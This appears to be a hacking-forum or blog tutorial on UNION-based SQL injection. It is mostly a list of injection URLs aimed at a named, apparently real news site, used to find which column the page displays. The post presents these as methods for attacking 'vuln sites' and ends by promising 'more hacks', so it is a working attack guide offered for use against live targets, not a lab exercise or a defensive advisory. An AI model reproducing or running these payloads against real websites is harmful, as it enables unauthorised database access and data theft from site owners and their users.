Find vulnerable column in SQL injection (ALL Methods)

Hello friends
In the name of mightiest and most merciful ALLAH who gave me knowledge ^_^
Many time it happends we got the vuln site but didn’t get the vulnerable columm in SQL injection .

toDaY i am going to teach here all methods of showing vuln column which i know:::::


Site- http://www.northernoutpost.com/news.php?id=17

Steps::::
http://www.northernoutpost.com/news.php?id=17+and+false+union+select+1,2,3,4,5,6,7,8–+

http://www.northernoutpost.com/news.php?id=17+and+0+union+select+1,2,3,4,5,6,7,8–+

http://www.northernoutpost.com/news.php?id=17+and+true+union+select+1,2,3,4,5,6,7,8–+ ==> Not

http://www.northernoutpost.com/news.php?id=17+div+0+union+select+1,2,3,4,5,6,7,8–+

http://www.northernoutpost.com/news.php?id=17+div+false+union+select+1,2,3,4,5,6,7,8–+

http://www.northernoutpost.com/news.php?id=17+div+true+union+select+1,2,3,4,5,6,7,8–+ ===> This condition is not working here……

http://www.northernoutpost.com/news.php?id=17+and+1=0+union+select+1,2,3,4,5,6,7,8–+

http://www.northernoutpost.com/news.php?id=17+and+1=2+union+select+1,2,3,4,5,6,7,8–+

http://www.northernoutpost.com/news.php?id=17/0+union+select+1,2,3,4,5,6,7,8–+

http://www.northernoutpost.com/news.php?id=17/false+union+select+1,2,3,4,5,6,7,8–+

http://www.northernoutpost.com/news.php?id=.17+union+select+1,2,3,4,5,6,7,8–+

http://www.northernoutpost.com/news.php?id=1.7+union+select+1,2,3,4,5,6,7,8–+
Now i will show by changing parameter::::

http://www.northernoutpost.com/news.php?id=999999+and+false+union+select+1,2,3,4,5,6,7,8–+

http://www.northernoutpost.com/news.php?id=NULL+union+select+1,2,3,4,5,6,7,8–+

======> This all method will not work only some will work and some will not work it is just a condition so…… Here this is also not working…..

http://www.northernoutpost.com/news.php?id=11111+and+false+union+select+1,2,3,4,5,6,7,8–+

So now this method will show yOu by changing COLUMN number

http://www.northernoutpost.com/news.php?id=-17+union+select+1111,2222,3333,4444,5555,6666,7777,8888–+

===> When you put this you will get vuln column in source just make sure there is one invalid image when you put this::::

http://www.northernoutpost.com/news.php?id=-17+union+select+NULL,2,3,4,5,6,7,8–+

http://www.northernoutpost.com/news.php?id=-17+union+select+NULL,NULL,3,4,5,6,7,8–+

http://www.northernoutpost.com/news.php?id=-17+union+select+NULL,NULL,NULL,4,5,6,7,8–+

http://www.northernoutpost.com/news.php?id=-17+union+select+NULL,NULL,Null,5,6,7,8–+

http://www.northernoutpost.com/news.php?id=-17+union+select+NULL,NULL,Null,NULL,NULL,6,7,8–+

http://www.northernoutpost.com/news.php?id=-17+union+select+1,2,3,4,5,NULL,7,8–+

http://www.northernoutpost.com/news.php?id=-17+union+select+NULL,NULL,Null,NULL,NULL,NULL,NULL,8–+

http://www.northernoutpost.com/news.php?id=-17+union+select+NULL,NULL,Null,NULL,NULL,NULL–+ (in this method try to put null in every column then when Null work in 2 column then it will show vuln column 2 and when null in 4 if it’s work here vuln column will in 4 or if null in 7 and giving result then vuln column is 7)

http://www.northernoutpost.com/news.php?id=-17+union+select+TRUE,2,3,4,5,6,7,8–+

http://www.northernoutpost.com/news.php?id=-17+union+select+1,TRUE,3,4,5,6,7,8–+

http://www.northernoutpost.com/news.php?id=-17+union+select+1,2,TRUE,4,5,6,7,8–+

http://www.northernoutpost.com/news.php?id=-17+union+select+1,2,TRUE,4,5,6,7,8–+

http://www.northernoutpost.com/news.php?id=-17+union+select+1,2,3,TRUE,5,6,7,8–+

http://www.northernoutpost.com/news.php?id=-17+union+select+1,2,3,4,TRUE,6,7,8–+

http://www.northernoutpost.com/news.php?id=-17+union+select+1,2,3,4,5,TRUE,7,8–+

http://www.northernoutpost.com/news.php?id=-17+union+select+1,2,3,4,5,6,TRUE,8–+

http://www.northernoutpost.com/news.php?id=-17+union+select+1,2,3,4,5,6,7,TRUE–+ (this method is also just like NULL ONE)

http://www.northernoutpost.com/news.php?id=-17+union+(select+1,2,3,4,5,6,7,8)–+

http://www.northernoutpost.com/news.php?id=-17+union+(select+(1),(2),(3),(4),(5),(6),(7),(8))–+



I hope this will help you
#HOPE YOU UNDERSTAND
Keep sharing and keep visiting for new more hacks

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